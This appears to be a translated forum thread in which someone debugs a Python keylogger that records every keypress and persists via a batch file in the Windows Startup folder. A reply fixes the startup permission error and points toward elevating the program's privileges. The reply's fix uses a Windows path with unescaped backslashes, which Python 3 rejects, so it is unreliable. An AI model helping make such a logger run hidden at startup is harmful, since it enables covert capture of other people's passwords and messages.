嘿,我写了一个小键盘记录器。它还会在Startup文件夹中创建一个批处理文件。在打开电脑时执行脚本。
当我执行代码(双击.py文件或.bat文件)时,一切正常。但是当程序启动时(Startup文件夹中的bat文件执行python脚本)我得到一个error(抱歉质量低,截图来自slowmo视频)
(抱歉英语不好并解释,希望有人可以提供帮助)
这是错误
PermissionError: [Errno 13] Permission denied: 'C:\\WINDOWS\\system32\\key_log.text
这是提供错误的代码:
logging.basicConfig(filename=("key_log.txt"), level=logging.DEBUG, format='%(asctime)s: %(message)s')
def on_press(key):
logging.info(key)
这是蝙蝠:
start C:\Users\alexa\Desktop\kkk.pyw
system32可能是自动启动任务的默认目录。设置文件名的完整路径应该修复它
filename=("C:\Users\alexa\Desktop\key_log.txt")
当系统在system32路径上自动执行时,您可以参考下面的链接来提升程序的权限。